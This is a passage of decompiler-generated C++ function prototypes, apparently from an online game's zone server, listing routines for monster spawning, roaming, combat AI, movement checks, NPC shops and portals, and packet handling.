mobnumber, int regensec, char family, int regennum, ORToken *aitype, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *bandittemplete, char *droparea, unsigned __int16 dropmobid, int lev); #803 *__thiscall MobHatchery::mh_MobBreed(MobHatchery *this, Name3 *map_, SHINE_XY_TYPE *xy, int dir, unsigned __int16 mobid, char *itemindex, int mobnumber, int regensec, char family, int regennum, ORToken *aitype, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *bandittemplete, char *droparea, unsigned __int16 dropmobid, int lev); char __thiscall List::l_PopZ(List *this, ItemLotAnalyser::LotChanger *ele); void __thiscall HuntLog::MobHuntElement::mhe_Send2Log(HuntLog::MobHuntElement *this, #434 *sp); char __thiscall List::l_PushZ(List *this, ItemLotAnalyser::LotChanger *ele); void __thiscall HuntLog::MobHuntLog::mhl_SendAll2Log(HuntLog::MobHuntLog *this, #434 *sp); HuntLog::MobHuntElement *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(HuntLog::MobHuntElement *this, List *, unsigned __int16, HuntLog::MobHuntElement *), unsigned __int16 *hnd, HuntLog::MobHuntElement *key); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall HuntLog::MobHuntLog::mhl_Logging(HuntLog::MobHuntLog *this, #434 *, unsigned __int16, unsigned int); void __thiscall CommonList::CommonList(CommonList *this, int size); void __thiscall HuntLog::MobHuntLog::MobHuntLog(HuntLog::MobHuntLog *this); bool __thiscall MobRoaming::MobRoamingPath::operator<(MobRoaming::MobRoamingPath *this, MobRoaming::MobRoamingPath *rpth); void __thiscall MobRoamingPoint::mrp_Start(MobRoamingPoint *this); int __thiscall ShineObjectClass::ShineMob::so_mob_RoamingPathGet(int this); char __thiscall ShineObjectClass::ShineMob::som_IsAttackedDuringRoaming(int this); unsigned int __thiscall std::vector>::size(std::vector > *this); std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Max(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode); void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Inc(std::_Tree,std::allocator,0> >::const_iterator *this); void __cdecl std::fill(MobRoaming::PathElement *_First, MobRoaming::PathElement *_Last, MobRoaming::PathElement *_Val); void __thiscall ShineObjectClass::ShineMob::so_mob_RoamingPathSet(void *this, int roaming); std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Lbound(std::_Tree,std::allocator,0> > *this, MobRoaming::MobRoamingPath *_Keyval); void __thiscall std::_Tree_std::allocator_0>>::_Lrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode); void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Dec(std::_Tree,std::allocator,0> >::const_iterator *this); MobRoaming::PathElement *__cdecl std::copy_backward(MobRoaming::PathElement *_First, MobRoaming::PathElement *_Last, MobRoaming::PathElement *_Dest); std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this); void __cdecl std::_Uninit_fill_n>(MobRoaming::PathElement *_First, unsigned int _Count, MobRoaming::PathElement *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); MobRoaming::PathElement *__cdecl std::_Uninit_copy>::const_iterator_MobRoaming::PathElement___std::allocator>(std::vector >::const_iterator _First, std::vector >::const_iterator _Last, MobRoaming::PathElement *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall MobRoaming::MobRoamingPath::mrp_RegenLoc(MobRoaming::MobRoamingPath *this, SHINE_XY_TYPE *loc); void __thiscall MobRoamingPoint::mrp_Next(MobRoamingPoint *this, MobRoaming::MobRoamingPath *roaming); char __thiscall ShineObjectClass::ShineMob::sm_NextPathPoint(void *this, int *a2, int dy, int distance); void __thiscall ShineObjectClass::ShineMob::smo_RegenSpotAsNextRoamingSpot(int this); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::find(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, MobRoaming::MobRoamingPath *_Keyval); MobRoaming::PathElement *__thiscall std::vector>::_Ufill(std::vector > *this, MobRoaming::PathElement *_Ptr, unsigned int _Count, MobRoaming::PathElement *_Val); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, MobRoaming::PathElement *_Val); void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right); void __thiscall std::_Tree_nod_std::allocator_0>>::_Node::__Node(std::_Tree_nod,std::allocator,0> >::_Node *this); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, MobRoaming::PathElement *_Val); void __thiscall MobRoaming::MobsInRoaming::MobsInRoaming(MobRoaming::MobsInRoaming *this); void __thiscall MobRoaming::MobsInRoaming::mir_MoveInfoSendTo(MobRoaming::MobsInRoaming *this, #434 *sp); void __thiscall MobRoaming::MobRoamingPath::MobRoamingPath(MobRoaming::MobRoamingPath *this, ORToken *groupname); MobRoaming::MobRoamingPath *__thiscall MobRoaming::MobRoamingSet::mrs_Get(MobRoaming::MobRoamingSet *this, ORToken *groupname); void __thiscall std::vector>::push_back(std::vector > *this, MobRoaming::PathElement *_Val); void __thiscall std::_Tree_nod_std::allocator_0>>::_Node::_Node(std::_Tree_nod,std::allocator,0> >::_Node *this, std::_Tree_nod,std::allocator,0> >::_Node *_Larg, std::_Tree_nod,std::allocator,0> >::_Node *_Parg, std::_Tree_nod,std::allocator,0> >::_Node *_Rarg, MobRoaming::MobRoamingPath *_Val, char _Carg); std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Larg, std::_Tree_nod,std::allocator,0> >::_Node *_Parg, std::_Tree_nod,std::allocator,0> >::_Node *_Rarg, MobRoaming::MobRoamingPath *_Val, char _Carg); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::_Insert(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode, MobRoaming::MobRoamingPath *_Val); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _Where); void __thiscall std::_Tree_std::allocator_0>>::_Erase(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode); std::pair,std::allocator,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator_0>>::insert(std::_Tree,std::allocator,0> > *this, std::pair,std::allocator,0> >::iterator,bool> *result, MobRoaming::MobRoamingPath *_Val); MobRoaming::MobRoamingPath *__thiscall MobRoaming::MobRoamingSet::mrs_Load(MobRoaming::MobRoamingSet *this, Name4 *world, ORToken *groupname); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _First, std::_Tree,std::allocator,0> >::iterator _Last); void __thiscall MobRoaming::MobRoamingSet::mrs_Load(MobRoaming::MobRoamingSet *this, Name4 *world); void __thiscall MobRoaming::MobRoamingSet::_MobRoamingSet(MobRoaming::MobRoamingSet *this); void __thiscall MobRoaming::MobRoamingSet::MobRoamingSet(MobRoaming::MobRoamingSet *this); #325 *__thiscall MobTargetSelector::mts_TargetObject(MobTargetSelector *this); int __thiscall ShineObjectClass::ShineMob::sm_GetWeaponCastTime(int this); void __thiscall ShineObjectClass::ShineMob::sm_SetTarget(int this, __int16 targethandle); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionNeededTarget::mant_SetTarget(MobTacticElement::MobActionNeededTarget *this, #325 *target); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionInChase::maic_SetReserv(MobTacticElement::MobActionInChase *this, #325 *, MobTacticElement::MobActionBase *, MobTacticElement::MobActionBase *); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionTurning::mat_Reserv(MobTacticElement::MobActionTurning *this, MobTacticElement::MobActionBase *nxt, #740 *me, #325 *target); void __thiscall MobTacticElement::MobActionNoBrain::_MobActionNoBrain(MobTacticElement::MobActionNoBrain *this); unsigned __int16 __thiscall MobTacticElement::MobActionNeededTarget::mab_GetTargetHandle(MobTacticElement::MobActionNeededTarget *this); #325 *__thiscall MobTacticElement::MobActionNeededTarget::mab_GetTargetObject(MobTacticElement::MobActionNeededTarget *this); void __thiscall MobTacticElement::MobActionInMove::MobActionInMove(MobTacticElement::MobActionInMove *this); void __thiscall MobTacticElement::DuringReturn2Regen::DuringReturn2Regen(MobTacticElement::DuringReturn2Regen *this); void __thiscall MobTacticElement::MobActionInChase::MobActionInChase(MobTacticElement::MobActionInChase *this); void __thiscall MobTacticElement::MobActionInMove_Cancelable::MobActionInMove_Cancelable(MobTacticElement::MobActionInMove_Cancelable *this); void __thiscall MobTacticElement::MobActionWander::MobActionWander(MobTacticElement::MobActionWander *this); void __thiscall MobTacticElement::MobActionWander::_MobActionWander(MobTacticElement::MobActionWander *this); void __thiscall MobTacticElement::MobActionTargetting::MobActionTargetting(MobTacticElement::MobActionTargetting *this); void __thiscall MobTacticElement::MobActionTurning::MobActionTurning(MobTacticElement::MobActionTurning *this); void __thiscall MobTacticElement::MobActionAttack::MobActionAttack(MobTacticElement::MobActionAttack *this); void __thiscall MobTacticElement::MobActionChase::MobActionChase(MobTacticElement::MobActionChase *this); void __thiscall MobTacticElement::MobAction2Region::MobAction2Region(MobTacticElement::MobAction2Region *this); void __thiscall MobTacticElement::MobActionBackStep::MobActionBackStep(MobTacticElement::MobActionBackStep *this); void __thiscall MobTacticElement::MobActionAvoidOverlap::MobActionAvoidOverlap(MobTacticElement::MobActionAvoidOverlap *this); void __thiscall MobTacticElement::MobActionWaitSkillEnd::MobActionWaitSkillEnd(MobTacticElement::MobActionWaitSkillEnd *this); void __thiscall MobTacticElement::MobActionSwingDamage::MobActionSwingDamage(MobTacticElement::MobActionSwingDamage *this); void __thiscall MobTacticElement::MobActionRoaming::MobActionRoaming(MobTacticElement::MobActionRoaming *this); void __thiscall MobTacticElement::MobActionNoBrain::MobActionNoBrain(MobTacticElement::MobActionNoBrain *this); void __thiscall MobTacticElement::MobActionWander::mab_Damaged(MobTacticElement::MobActionWander *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionBase::mab_TargetChange(MobTacticElement::MobActionBase *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionNoBrain::mab_Think(MobTacticElement::MobActionNoBrain *this, MobTacticElement::MobActionArgument *argument); void __thiscall ShineObjectClass::ShineMob::sm_NextAttackSequence(int this); void __thiscall MobTacticElement::MobActionArgument::Actor::SetTargetPoint(MobTacticElement::MobActionArgument::Actor *this, #325 **ppTargetObject); Navigator::NaviPoint *__cdecl std::_Copy_opt(Navigator::NaviPoint *_First, Navigator::NaviPoint *_Last, Navigator::NaviPoint *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall MobTacticElement::MobActionBase::mab_WalkTo(MobTacticElement::MobActionBase *this, #740 *, SHINE_XY_TYPE *); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionBase::mab_Think(MobTacticElement::MobActionBase *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionInChase::mab_Think(MobTacticElement::MobActionInChase *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionInMove::mab_Think(MobTacticElement::MobActionInMove *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::DuringReturn2Regen::mab_Think(MobTacticElement::DuringReturn2Regen *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionWaitSkillEnd::mab_Think(MobTacticElement::MobActionWaitSkillEnd *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionWander::maw_MetronomeReset(MobTacticElement::MobActionWander *this); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionWaitSkillEnd::mawse_SetNextAction(MobTacticElement::MobActionWaitSkillEnd *this, unsigned int endofskill, MobTacticElement::MobActionBase *next, #325 *target); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionSwingDamage::masd_SetDelay(MobTacticElement::MobActionSwingDamage *this, int delay, MobTacticElement::MobActionBase *next, #325 *target); void __thiscall MobTacticElement::MobActionBase::mab_RunTo(MobTacticElement::MobActionBase *this, #740 *, SHINE_XY_TYPE *); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionTargetting::mab_Think(MobTacticElement::MobActionTargetting *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionTurning::mab_Think(MobTacticElement::MobActionTurning *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionAttack::mab_CaptivatePlayerAttack(MobTacticElement::MobActionAttack *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobAction2Region::mab_Think(MobTacticElement::MobAction2Region *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionBackStep::mab_Think(MobTacticElement::MobActionBackStep *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionAvoidOverlap::mab_Think(MobTacticElement::MobActionAvoidOverlap *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionSwingDamage::mab_Think(MobTacticElement::MobActionSwingDamage *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionBase::mab_RandomDirectWalk(MobTacticElement::MobActionBase *this, #740 *, int, MobTacticElement::MobActionBase *, MobTacticElement::MobActionBase *, MobTacticElement::MobActionArgument *); char __thiscall ShineObjectClass::ShineMob::sm_SkillExchange_OutOfRange(void *this); char __thiscall ShineObjectClass::ShineMob::sm_SkillExchange_HPLow(void *this); char __thiscall ShineObjectClass::ShineMob::sm_SkillExchange_TargetState(void *this, int a2); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionWander::mab_Think(MobTacticElement::MobActionWander *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionAttack::mab_Think(MobTacticElement::MobActionAttack *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionRoaming::mab_Think(MobTacticElement::MobActionRoaming *this, MobTacticElement::MobActionArgument *argument); TickTimer *__thiscall std::vector>::_Ucopy(std::allocator *_Al, TickTimer *_First, TickTimer *_Last, TickTimer *__formal); void __thiscall std::vector>::_Destroy(std::vector > *this, Navigator::NaviPoint *_First, Navigator::NaviPoint *_Last); void __thiscall std::vector>::_Tidy(std::vector > *this); std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, Navigator::NaviPoint *_Val); void __thiscall StaticVector::_StaticVector(StaticVector *this); void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count); void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, Navigator::NaviPoint _Val); bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize); void __thiscall StaticVector::StaticVector(StaticVector *this, int maxsize); void __thiscall StaticVector::StaticVector(StaticVector *this, int maxsize); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionChase::mab_Think(MobTacticElement::MobActionChase *this, MobTacticElement::MobActionArgument *argument); void __thiscall MobTargetBout::MobTargetBout(MobTargetBout *this); void __thiscall MobTargetAggresive::MobTargetAggresive(MobTargetAggresive *this); void __thiscall MobTargetAggresive::_MobTargetAggresive(MobTargetAggresive *this); void __thiscall MobTargetAggresive2::MobTargetAggresive2(MobTargetAggresive2 *this); void __thiscall MobTargetAggresive2::_MobTargetAggresive2(MobTargetAggresive2 *this); void __thiscall MobTargetNoBrain::MobTargetNoBrain(MobTargetNoBrain *this); void __thiscall MobTargetBout::_MobTargetBout(MobTargetNoBrain *this); char __thiscall SlayerCollect::lid_Call(SlayerCollect *this, MobTargetStruct *ele, unsigned __int16 handle); void __thiscall List::_List(List *this); void __thiscall MobAggroManager::_MobAggroManager(MobAggroManager *this); void *__thiscall MobTargetBout::_vector_deleting_destructor_(MobTargetNoBrain *this, unsigned int); void *__thiscall MobTargetAggresive::_scalar_deleting_destructor_(MobTargetAggresive *this, unsigned int); void *__thiscall MobTargetAggresive2::_vector_deleting_destructor_(MobTargetAggresive2 *this, unsigned int); void __thiscall MobTargetBout::mts_SlayerList(MobTargetBout *this, PROTO_NC_BAT_MOBSLAYER_CMD *pack, unsigned __int16 mob); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); char __thiscall List::l_PushA(List *this, MobTargetStruct *ele); char __thiscall List::l_PushZ(List *this, MobTargetStruct *ele); char __thiscall List::l_PopA(List *this, MobTargetStruct *ele); char __thiscall List::l_PopZ(List *this, MobTargetStruct *ele); void __thiscall MobAggroManager::MobAggroManager(MobAggroManager *this); void __thiscall MoveManager::mm_RecalcSpeed(MoveManager *this, int speed); void __thiscall AxialListBriefExchangerAtMove::_AxialListBriefExchangerAtMove(AxialListBriefExchangerAtMove *this); void __thiscall AxialListBriefDeleteAtMove::_AxialListBriefDeleteAtMove(AxialListBriefDeleteAtMove *this); void __thiscall MoveManager::mm_MoveStart(MoveManager *this, SHINE_XY_TYPE *to, int charSpeed, MoveManager::MMState state); char __thiscall AxialListBriefExchangerAtMove::ali_Work(AxialListBriefExchangerAtMove *this, #325 *, #325 *, unsigned int); void __thiscall ShineObjectClass::ShineMobileObject::smo_NewObjBriefInfoChange(void *this, int goal); char __thiscall AxialListBriefDeleteAtMove::ali_Work(AxialListBriefDeleteAtMove *this, #325 *, #325 *, unsigned int); void __thiscall ShineObjectClass::ShineMobileObject::smo_OldObjectDelete(void *this, int from); char __thiscall ShineObjectClass::ShineObject::so_FindBlockLocateFrom(void *this, int from, int locate, int distance, int div, int (__thiscall *xcoord)(_DWORD, _DWORD, _DWORD)); char __cdecl ShineObjectClass::ShineMobileObject::smo_BlockCheck(int finalx, int finaly); bool __thiscall ShineObjectClass::ShinePlayer::sp_MoveBlockCheck(void *this, unsigned int x, unsigned int y); char __thiscall ShineObjectClass::ShinePlayer::sp_MoveFindEmpty(void *this, unsigned int x, unsigned int y); char __thiscall ShineObjectClass::ShinePlayer::smo_BlockCheck(void *this, unsigned int finalx, unsigned int finaly); char __cdecl ShineObjectClass::ShineMobileObject::smo_StopBlockCheck(); char __thiscall ShineObjectClass::ShinePlayer::smo_StopBlockCheck(void *this); void __thiscall MoveManager::mm_Step(MoveManager *this, bool ignoreElapsedTime); char __thiscall ShineObjectClass::ShineObject::so_FindBlockLocate(void *this, int locate, int distance, int goal, int (__thiscall *mbi_blockfunction)(_DWORD, _DWORD, _DWORD)); unsigned int __thiscall std::vector>::size(std::vector > *this); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __cdecl std::fill(MultiHitData::MultiHitElement *_First, MultiHitData::MultiHitElement *_Last, MultiHitData::MultiHitElement *_Val); MultiHitData::MultiHitElement *__cdecl std::copy_backward(MultiHitData::MultiHitElement *_First, MultiHitData::MultiHitElement *_Last, MultiHitData::MultiHitElement *_Dest); MultiHitData::MultiHitElement *__cdecl std::_Uninit_copy>(MultiHitData::MultiHitElement *_First, MultiHitData::MultiHitElement *_Last, MultiHitData::MultiHitElement *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl std::_Uninit_fill_n>(MultiHitData::MultiHitElement *_First, unsigned int _Count, MultiHitData::MultiHitElement *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); MultiHitData::MultiHitElement *__thiscall MultiHitData::MultiHitTable::operator__(MultiHitData::MultiHitTable *this, unsigned __int16 sub); MultiHitData::MultiHitElement *__thiscall std::vector>::_Ufill(std::vector > *this, MultiHitData::MultiHitElement *_Ptr, unsigned int _Count, MultiHitData::MultiHitElement *_Val); std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, MultiHitData::MultiHitElement *_Val); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, MultiHitData::MultiHitElement _Val); void __thiscall MultiHitData::MultiHitTable::mht_Load(MultiHitData::MultiHitTable *this); void __thiscall AxialListNearScan::AxialListNearScan(AxialListNearScan *this); void __thiscall AxialListNearScan::_AxialListNearScan(AxialListNearScan *this); int __thiscall AxialListNearScan::alns_GetNumber(AxialListNearScan *this); #325 *__thiscall AxialListNearScan::alns_GetMember(AxialListNearScan *this, int nIndex); int __cdecl AxialListNearScan::alns_Compare(const void *a, const void *b); void __thiscall AxialListNearScanEnemyorAll::AxialListNearScanEnemyorAll(AxialListNearScanEnemyorAll *this, #325 *, bool, bool); char __thiscall AxialListNearScanEnemyorAll::alns_ValidObject(AxialListNearScanEnemyorAll *this, #325 *obj); char __thiscall AxialListNearScan::ali_Work(AxialListNearScan *this, #325 *, #325 *, unsigned int); void __thiscall NPCRole_Portal::nrb_BriefInformSet(NPCRole_Portal *this, #325 *, ORToken *); void __thiscall NPCRoleBase::nrb_Role(NPCRoleBase *this, #434 *, NPCManager::NPCIndexArray *, unsigned __int16); void __thiscall ShineObjectClass::ShinePlayer::sp_EndOfTrade(void *this, char servermenureset); void __thiscall NPCRole_Merchant::nrm_ShopMenuOpen(NPCRole_Merchant *this, #434 *, NPCManager::NPCIndexArray *, unsigned __int16, unsigned __int16, const char *, int, int); void __thiscall NPCRole_Merchant::nrm_GuildShopMenuOpen(NPCRole_Merchant *this, #434 *, NPCManager::NPCIndexArray *, unsigned __int16, unsigned __int16, const char *, int, int); void __thiscall NPCRole_Merchant::nrm_PortionStone(NPCRole_Merchant *this, #434 *, NPCManager::NPCIndexArray *, unsigned __int16, unsigned __int16); void __thiscall NPCRole_Portal::nrb_Role(NPCRole_Portal *this, #434 *, NPCManager::NPCIndexArray *, unsigned __int16); void __thiscall NPCRole_ID_Portal::nrb_Role(NPCRole_ID_Portal *this, #434 *, NPCManager::NPCIndexArray *, unsigned __int16); void __thiscall NPCRole_Merchant::nrb_Role(NPCRole_Merchant *this, #434 *, NPCManager::NPCIndexArray *, unsigned __int16); void __thiscall NPCRole_StoreManager::nrb_Role(NPCRole_StoreManager *this, #434 *, NPCManager::NPCIndexArray *, unsigned __int16); void __thiscall NPCRole_MenuOpen::nrb_Role(NPCRole_MenuOpen *this, #434 *, NPCManager::NPCIndexArray *, unsigned __int16); void __thiscall NPCRole_Merchant::nrb_EndOfTrade(NPCRole_Merchant *this, #434 *player); void __thiscall NPCRole_StoreManager::nrb_EndOfTrade(NPCRole_StoreManager *this, #434 *player); void __thiscall NPCRole_MenuOpen::nrb_EndOfTrade(NPCRole_MenuOpen *this, #434 *player); NPCRoleBase *__thiscall CurrentMenu::cm_MenuAction(CurrentMenu *this, #434 *ply); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_NPCCLICK_CMD(void *this, int netcmd, int len, __int16 handle); char __thiscall ShineObjectClass::ShinePlayer::InteractWithNPC(void *this, int a2); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_ENDOFTRADE_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall NPCItemList::ItemListOption::ItemListOption(NPCItemList::ItemListOption *this); void __thiscall NPCItemList::NPCItemListTable::NPCItemListTable(NPCItemList::NPCItemListTable *this); void __thiscall NPCItemList::NPCItemListTable::_NPCItemListTable(NPCItemList::NPCItemListTable *this); PROTO_NC_MENU_SHOPOPENTABLE_CMD *__thiscall NPCItemList::ItemListOption::ilo_PacketMake(NPCItemList::ItemListOption *this, const char *mobindex); PROTO_NC_MENU_SHOPOPENTABLE_CMD *__thiscall NPCItemList::NPCItemListTable::nilt_MenuPacket(NPCItemList::NPCItemListTable *this, const char *mobindex); void __thiscall NPCItemList::NPCItemListTable::nilt_ReadTable(NPCItemList::NPCItemListTable *this, const char *mobindex); OptionReader *__thiscall NPCManager::operator_>(NPCManager *this); void __thiscall NPCManager::NPCManager(NPCManager *this); int __cdecl NPCManager::nm_HandleCompare(const void *a, const void *b); void __thiscall NPCRoleBase::NPCRoleBase(NPCRoleBase *this, NPCManager::NPCInformTemplete *npctemplet); NPCManager::LinkInformTemplete *__thiscall NPCRoleBase::nrb_linkinform(NPCRoleBase *this, int num); void __thiscall NPCRoleBase::_NPCRoleBase(NPCRoleBase *this); NPCManager::LinkInformTemplete *__thiscall NPCRole_Portal::nrb_linkinform(NPCRole_Portal *this, int num); void __thiscall NPCRole_ID_Portal::NPCRole_ID_Portal(NPCRole_ID_Portal *this, NPCManager::NPCInformTemplete *npctemplet); void __thiscall NPCRole_Guard::NPCRole_Guard(NPCRole_Guard *this, NPCManager::NPCInformTemplete *npctemplet); void __thiscall NPCRole_MenuOpen::NPCRole_MenuOpen(NPCRole_MenuOpen *this, NPCManager::NPCInformTemplete *npctemplet); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall NPCManager::nm_Load(NPCManager *this, Name4 *world); void __thiscall NPCManager::nm_SetNPC(NPCManager *this); unsigned int __thiscall NPCRole_Merchant::nrb_ItemSellPrice(NPCRole_Merchant *this, #325 *, unsigned __int16); unsigned int __thiscall NPCRole_Merchant::nrb_ItemBuyPrice(NPCRole_Merchant *this, #325 *, unsigned __int16); unsigned int __thiscall NPCRole_Merchant::nrb_ItemBuyGuildToken(NPCRole_Merchant *this, #325 *, unsigned __int16); unsigned int __thiscall NPCRole_Merchant::nrb_ItemBuyFame(NPCRole_Merchant *this, #325 *, unsigned __int16); void __thiscall MerchantCityData::MerchantCityData(MerchantCityData *this); void __thiscall MerchantCityData::mcd_Load(MerchantCityData *this); int __thiscall MerchantCityData::mcd_city(MerchantCityData *this, unsigned __int16 mapindex); void __thiscall NPCRoleBase::nrb_LinkBrench(NPCRoleBase *this, #434 *, int, NPCManager::LinkInformTemplete *); void __thiscall NPCRole_Portal::nrb_LinkBrench(NPCRole_Portal *this, #434 *, int, NPCManager::LinkInformTemplete *); char __thiscall NPCRoleBase::nrb_LinkBrenchCheck(NPCRoleBase *this, NPCManager::LinkInformTemplete *lnkstr); char __thiscall NPCRole_Portal::nrb_LinkBrenchCheck(NPCRole_Portal *this, NPCManager::LinkInformTemplete *lnkstr); void __thiscall NPCManager::_NPCManager(NPCManager *this); void __thiscall OPToolObject::opto_SetSocketSession(OPToolObject *this, OPToolSession *pSession); void __thiscall OPToolSession::OPToolSession(OPToolSession *this); void __thiscall OPToolSession::_OPToolSession(OPToolSession *this); char __thiscall OPToolSession::opts_ConnectReady(OPToolSession *this); char __thiscall OPToolObject::opto_Routine(OPToolObject *this, List *lst, unsigned __int16 handle); void __thiscall OPToolList::_OPToolList(OPToolList *this); void __thiscall OPToolSession::opts_DummyFunction(OPToolSession *this, NETCOMMAND *netcmd); void __thiscall OPToolSession::opts_NC_MISC_S2SCONNECTION_REQ(OPToolSession *this, NETCOMMAND *netcmd); void __thiscall OPToolSession::opts_NC_MISC_S2SCONNECTION_ACK(OPToolSession *this, NETCOMMAND *netcmd); void __thiscall OPToolSession::opts_NC_MISC_HEARTBEAT_REQ(OPToolSession *this, NETCOMMAND *netcmd); void __thiscall OPToolSession::opts_NC_OPTOOL_CONNECT_BRIF_REQ(OPToolSession *this, NETCOMMAND *netcmd); void __thiscall List::l_Clear(List *this); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall OPToolList::OPToolList(OPToolList *this); void __thiscall GlobalProtocolPacket::GlobalProtocolPacket(GlobalProtocolPacket *this); char __thiscall PacketContainer::pcb_Flush_Try_Catch(PacketContainer *this, ClientSession *session); void __thiscall ProtocolPacket::pp_SendPacket(ProtocolPacket *this, ZoneBaseSession *session); void __thiscall PacketContainerBase::pcb_Append(PacketContainerBase *this, #325 *, ProtocolPacket *); void __thiscall PacketContainer::pcb_Append(PacketContainer *this, #325 *, ProtocolPacket *); char __thiscall ProtocolPacket::pp_SetPacketLen(ProtocolPacket *this, int len); int __cdecl ShineObjectClass::ShineObject::so_ply_GetClientSession(); int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetClientSession(void *this); void __thiscall Parameter::Cluster::c_clearplus(Parameter::Cluster *this); void __thiscall Parameter::Cluster::c_clearrate(Parameter::Cluster *this); signed int __thiscall Parameter::Container::IsNoAttacOrNoMove(int this); 